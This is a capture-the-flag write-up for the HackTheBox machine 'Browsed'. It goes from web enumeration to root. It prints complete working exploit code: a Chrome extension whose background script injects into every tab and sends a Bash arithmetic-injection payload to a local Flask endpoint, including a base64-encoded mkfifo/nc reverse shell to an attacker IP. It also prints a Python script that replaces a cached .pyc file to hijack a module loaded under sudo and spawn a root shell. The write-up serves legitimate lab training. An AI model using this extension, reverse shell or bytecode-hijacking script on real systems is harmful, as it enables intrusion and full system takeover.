← Back to HTB Reports / 2ubZ3r0

Browsed [Medium]

https://app.hackthebox.com/machines/Browsed

IP

10.10.8.1

Domain/Host

browsed.htb


Nmap Results

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose|storage-misc|webcam
Running (JUST GUESSING): Linux 5.X|2.6.X (87%), HP embedded (87%), AXIS embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:5.4 cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6.17 cpe:/h:axis:210a_network_camera cpe:/h:axis:211_network_camera
Aggressive OS guesses: Linux 5.4 (87%), HP P2000 G3 NAS device (87%), Linux 5.0 - 5.4 (86%), Linux 5.0 (85%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (85%)

Web Enumeration

We open http://browsed.htb in Browser

The website includes a feature that allows users to upload Chrome extensions, which becomes a potential attack vector

At http://browsed.htb/samples.html we can download some Examples

We download one of thease .zip Files

At http://browsed.htb/upload.php we can Upload the Extensions

We Upload one of thease examples

(the examples where we can downlaod from http://browsed.htb/samples.html)


We obtained a large amount of log output, and within it we identified requests to an additional domain: browsedinternals.htb

We open http://browsedinternals.htb

We have a Gitea Page

We can explore the repository listing at http://browsedinternals.htb/explore/repos

At http://browsedinternals.htb/larry/MarkdownPreview we see the Files of a markdownPreview Project

app.py

http://browsedinternals.htb/larry/MarkdownPreview/src/branch/main/app.py

1 We see a local Server is running on Port 5000

2 Everything we pass as <rid> in the URL is forwarded 1:1 as an argument to routines.sh every time /routines/<anything> is requested

routine.log

http://browsedinternals.htb/larry/MarkdownPreview/src/branch/main/log/routine.log

We see larry is a local User

routines.sh

http://browsedinternals.htb/larry/MarkdownPreview/src/branch/main/routines.sh

This Bash script (routines.sh) executes different maintenance tasks based on the numeric argument passed as $1.

The input is evaluated using arithmetic comparisons ([[ "$1" -eq X ]]) to decide which routine to run, such as cleaning temporary files, creating backups, rotating logs, or dumping system information. Each action is logged to a central log file, and any value outside the expected range results in an “unknown routine” message.

Because these arithmetic comparisons operate directly on user-controlled input, and Bash evaluates command substitution before performing the numeric comparison, this results in an arithmetic injection vulnerability

Info
In app.py, everything we pass as <rid> in the URL is forwarded 1:1 as an argument to routines.sh every time /routines/<anything> is requested:
  • The Flask route is: @app.route('/routines/<rid>')
  • Inside that handler, Python does: subprocess.run(["./routines.sh", rid])

So Python does not validate or transform rid (other than treating it as a string). It just hands it off to the Bash script as $1.

From there, Python is “done” — the security impact is determined entirely by what routines.sh does with $1.

How our exploit ties into this?

Our Chrome extension is built to reach the local-only web app at http://127.0.0.1:5000 (the victim’s machine), and it triggers:

/routines/<rid>

We craft <rid> so that when it is passed into the Bash script as $1, the script’s numeric comparison (the [[ "$1" -eq 0 ]] / -eq 1 / … checks) becomes unsafe if Bash treats the content as an arithmetic expression. That’s why our payload is shaped like an arithmetic injection, with command substitution inside the val

Final takeaway

  • app.py acts as a transparent pass-through
  • routines.sh performs unsafe arithmetic comparisons
  • CVE-2026-0628 is the underlying vulnerability
  • The Chrome extension is the delivery mechanism
  • The result is reliable local RCE via Bash arithmetic injection

More infos about the CVE

NVD - CVE-2026-0628
This CVE record is currently being enriched by team members, this process results in the association of reference link tags, CVSS, CWE, and CPE applicability statement data


PoC

fontify.zip

replaceimages.zip

manifest.json (Sample replaceimages.zip)

content.js (Sample replaceimages.zip)

manifest.json

{
  "name": "Exploit Extension",
  "version": "1.0",
  "manifest_version": 3,
  "background": {
    "service_worker": "background.js"
  },
  "permissions": [
    "tabs",
    "scripting"
  ],
  "host_permissions": [
    "<all_urls>"
  ]
}

background.js

console.log("[HTB] PoC extension loaded (2-file version)");

function injectExploitIntoTab(tabId) {
chrome.scripting.executeScript({
target: { tabId: tabId, allFrames: true },
func: () => {
console.log('[HTB] Starting arithmetic array injection PoC (whoami -> /var/www/html/poc.txt)');

// bash -c "whoami > /var/www/html/poc.txt"
const B64_CMD = 'YmFzaCAtYyAid2hvYW1pID4gL3Zhci93d3cvaHRtbC9wb2MudHh0Ig==';

// arr[$(echo <B64> | base64 -d | bash)]
const rawPayload = arr[$(echo ${B64_CMD} | base64 -d | bash)];

const targetUrl = 'http://127.0.0.1:5000/routines/' + encodeURIComponent(rawPayload);

console.log('[HTB] Payload:', rawPayload);
console.log('[HTB] Target URL:', targetUrl);

// Page-context triggers (DOM available here)
new Image().src = targetUrl;

setTimeout(() => {
try { fetch(targetUrl).catch(() => {}); } catch (e) {}

const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = targetUrl;
document.body.appendChild(iframe);
}, 300);
}
}, () => void chrome.runtime.lastError);
}

function runExploitEverywhere() {
chrome.tabs.query({}, (tabs) => {
for (const tab of tabs) {
if (!tab.id) continue;
injectExploitIntoTab(tab.id);
}
});
}

// On install + on startup
chrome.runtime.onInstalled.addListener(runExploitEverywhere);
chrome.runtime.onStartup.addListener(runExploitEverywhere);

// Also when pages finish loading (covers new tabs/navigation)
chrome.tabs.onUpdated.addListener((tabId, changeInfo) => {
if (changeInfo.status === "complete") {
injectExploitIntoTab(tabId);
}
});

We add all 2 Files to a .zip Archive whoami.zip

We upload whoami.zip and Push Send to Developer

We check poc.txt

curl http://browsed.htb/poc.txt

RCE is comfirmed and the webapp is running as User larry


Create malicious Extension arithmetic injection

Info

Overview (What we proved and how we built it)

During our testing, we confirmed that Remote Code Execution (RCE) is possible on the target system via a vulnerable local web application running on:

http://127.0.0.1:5000

The vulnerability itself does not exist in the browser extension.

Instead, the extension is used purely as a delivery mechanism to reliably reach and trigger the vulnerable endpoint from the victim’s browser.

Once RCE was confirmed through our proof-of-concept payloads, the remaining challenge was:

How do we package and deliver the exploit in a way that Chrome will actually load and execute?

To answer that, we analyzed official sample extensions provided by the target.


Learning from the official sample extensions

From the following page:

http://browsed.htb/samples.html

we downloaded and reviewed two example Chrome extensions.

These samples showed us exactly which files are required and how extensions are expected to be structured.


Sample 1 – Full-featured extension

This sample included multiple files:

  • manifest.json
  • popup.html
  • popup.js
  • style.css
  • content.js

It represents a UI-based extension with popups, styling, and user interaction.

Observation:

None of these UI components are relevant for our exploit.


Sample 2 – Minimal extension

This sample contained only:

  • manifest.json
  • content.js

It demonstrated the minimal valid structure required for a Chrome extension to execute JavaScript in the browser.

Key takeaway:

Chrome extensions do not require a UI. As long as the manifest is valid and references executable code, the extension will load and run.


Why the minimal sample matters for our exploit

After confirming RCE with our PoC, we intentionally followed the minimal sample approach because:

  • We already proved code execution is possible
  • We do not need user interaction
  • We do not need a popup or visible UI
  • We want the exploit to execute automatically
  • Fewer files reduce complexity and noise
  • Chrome only requires the files referenced in manifest.json

As a result, we know exactly which files are required to build a working exploit archive.


How our PoC and the samples connect

Our PoC demonstrated that:

  • The /routines/<rid> endpoint forwards user input directly to routines.sh
  • Bash evaluates that input using arithmetic comparisons
  • This allows command execution via arithmetic injection

The sample extensions showed us:

  • How Chrome loads extensions
  • Which files are mandatory
  • How JavaScript can be executed automatically in the browser

By combining both, we built an exploit extension that:

  1. Loads correctly in Chrome (based on the samples)
  1. Automatically executes without user interaction
  1. Triggers the vulnerable local Flask endpoint
  1. Delivers our already-proven RCE payload

background.js

console.log('[HTB] Background service worker loaded');

function runExploit(tabId) {
    console.log('[HTB] Running arithmetic array injection exploit');

    const KALI_IP = "10.10.16.xx";
    const KALI_PORT = 443;

    // Reverse shell command
    const revShellCmd =
        'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc ' +
        KALI_IP + ' ' + KALI_PORT + ' >/tmp/f';

    // Base64 encode
    const revShellB64 = btoa(revShellCmd);

    // Arithmetic array injection payload
    const payload =
        'arr[$(echo ' + revShellB64 + ' | base64 -d | bash)]';

    const targetUrl =
        'http://127.0.0.1:5000/routines/' +
        encodeURIComponent(payload);

    console.log('[HTB] Target URL:', targetUrl);

    // Inject a tiny script into the tab that fires the request
    chrome.scripting.executeScript({
        target: { tabId: tabId, allFrames: true },
        func: (url) => {
            new Image().src = url;
            setTimeout(() => {
                const iframe = document.createElement('iframe');
                iframe.style.display = 'none';
                iframe.src = url;
                document.body.appendChild(iframe);
            }, 200);
        },
        args: [targetUrl]
    });
}

// Run on install (existing tabs)
chrome.runtime.onInstalled.addListener(() => {
    chrome.tabs.query({}, (tabs) => {
        for (const tab of tabs) {
            if (tab.id) {
                runExploit(tab.id);
            }
        }
    });
});

// Run on every page load
chrome.tabs.onUpdated.addListener((tabId, changeInfo) => {
    if (changeInfo.status === 'complete') {
        runExploit(tabId);
    }
});

manifest.json

{
  "name": "Exploit Extension",
  "version": "1.0",
  "manifest_version": 3,
  "background": {
    "service_worker": "background.js"
  },
  "permissions": [
    "tabs",
    "scripting"
  ],
  "host_permissions": [
    "<all_urls>"
  ]
}

We add all 2 Files to a .zip Archive rev.zip

We start a listener

penelope -p 443

We upload rev.zip and Push Send to Developer

We got a Shell as larry


User Flag

We got the User Flag

cat /home/larry/user.txt


PRIVESC

We Enumerate Allowed Sudo Privileges

sudo -l

We can execute /opt/extensiontool/extension_tool.py with root rights

We check the file permissions

ls -l /opt/extensiontool/extension_tool.py

The file permissions -rwxrwxr-x mean:

This means the script can be executed by any user, but only the owner and group members can modify it

We check extension_tool.py

cat /opt/extensiontool/extension_tool.py

The critical detail is the following import at the top of the file:

from extension_utils import validate_manifest, clean_temp_files


When the tool starts, the extension_utils module is automatically imported

Any code contained in this module is executed immediately during import.

Why is this dangerous?

Python loads modules in the following order:

  1. Existing compiled .pyc files from __pycache__
  1. If no matching .pyc exists, the .py file is compiled
  1. The module code is executed during import

In our case, the relevant files are:

/opt/extensiontool/extension_utils.py
/opt/extensiontool/
pycache/extension_utils.cpython-312.pyc

privesc.py

import os
import py_compile
import shutil
import sys

ORIGINAL_SRC = "/opt/extensiontool/extension_utils.py"
MALICIOUS_SRC = "extension_utils.py"
TARGET_PYC = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

print(f"[*] Python version: {sys.version.split()[0]}")

stat = os.stat(ORIGINAL_SRC)
target_size = stat.st_size
print(f"[*] Original size: {target_size} bytes")

payload = 'import os; print("ROOT SHELL"); os.execl("/bin/bash", "bash", "-p")'

current_size = len(payload.encode('utf-8'))
if current_size > target_size:
    print("[-] Payload too large")
    exit()

padding_needed = target_size - current_size
payload += "#" * padding_needed

print(f"[*] Payload with {padding_needed} bytes padding")

with open(MALICIOUS_SRC, "w") as f:
    f.write(payload)

if os.path.getsize(MALICIOUS_SRC) != target_size:
    print("[-] Size mismatch")
    exit()

os.utime(MALICIOUS_SRC, (stat.st_atime, stat.st_mtime))
print(f"[+] Timestamp cloned: {stat.st_mtime}")

print("[*] Compiling...")
try:
    py_compile.compile(MALICIOUS_SRC, cfile="malicious.pyc")
    print("[+] Compiled successfully")
except Exception as e:
    print(f"[-] Compile error: {e}")
    exit()

print(f"[*] Injecting to {TARGET_PYC} ...")

try:
    if os.path.exists(TARGET_PYC):
        os.remove(TARGET_PYC)
        print("[+] Existing file removed")

    shutil.copy("malicious.pyc", TARGET_PYC)
    print("[+] Injection complete")
    print("\\n[!!!] RUN: sudo /opt/extensiontool/extension_tool.py")

except Exception as e:
    print(f"[-] Injection error: {e}")

We switch to /tmp directroy

cd /tmp

We host privesc.py

python3 -m http.server 80

We Download the Privilege Escalation Script

wget http://10.10.16.xx/privesc.py

We Execute the Privilege Escalation Script

python3 privesc.py

We Execute the Extension Tool with Elevated Privileges

sudo /opt/extensiontool/extension_tool.py

We got a root shell

Info

What this script does and why it works

As user larry, we are allowed to run the following command as root:

sudo /opt/extensiontool/extension_tool.py

This comes directly from sudo -l and means we can execute that Python program with root privileges, but we cannot directly get a shell.

The privesc.py script abuses this situation by hijacking a Python module that the root-owned tool depends on.


Step-by-step explanation

1 Identifying the attack surface

ORIGINAL_SRC = "/opt/extensiontool/extension_utils.py" TARGET_PYC = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

  • extension_tool.py imports extension_utils
  • Python prefers loading a compiled .pyc file from __pycache__
  • Since extension_tool.py is executed with sudo, any imported .pyc file runs as root

This gives us a code execution point as root.


2 Creating a malicious replacement module

payload = 'import os; print("ROOT SHELL"); os.execl("/bin/bash", "bash", "-p")'

This payload:

  • Executes immediately when the module is imported
  • Spawns a privileged Bash shell (p), preserving root privileges

3 Size matching to avoid detection or crashes

stat = os.stat(ORIGINAL_SRC) target_size = stat.st_size

  • The malicious source file is padded with # characters
  • Its size is made exactly identical to the original source file

This avoids:

  • Suspicion
  • Possible integrity or size checks
  • Python import issues

4 Compiling the malicious module

py_compile.compile(MALICIOUS_SRC, cfile="malicious.pyc")

  • The payload is compiled into a valid .pyc file
  • This file is ready to be imported by Python

5 Injecting the malicious .pyc

shutil.copy("malicious.pyc", TARGET_PYC)

  • The original cached bytecode is replaced
  • No changes are made to extension_tool.py itself
  • The next execution will silently load our payload

Final exploitation step

After running privesc.py, we execute:

sudo /opt/extensiontool/extension_tool.py

What happens:

  1. The script runs as root
  1. Python imports extension_utils
  1. The malicious .pyc is loaded
  1. Our payload executes immediately
  1. We receive a root shell

Why this is a valid privilege escalation

  • We do not need write access to the main script
  • We do not need to modify sudoers
  • We only abuse Python’s import mechanism
  • The allowed sudo command becomes a root code execution primitive

Key takeaway

Because larry is allowed to run /opt/extensiontool/extension_tool.py with sudo, and Python automatically executes imported bytecode files, we can inject a malicious .pyc file and escalate to a full root shell.

This is a classic Python module hijacking privilege escalation, enabled by an overly permissive sudo rule.


Root Flag

We got the Root Flag

cat /root/root.txt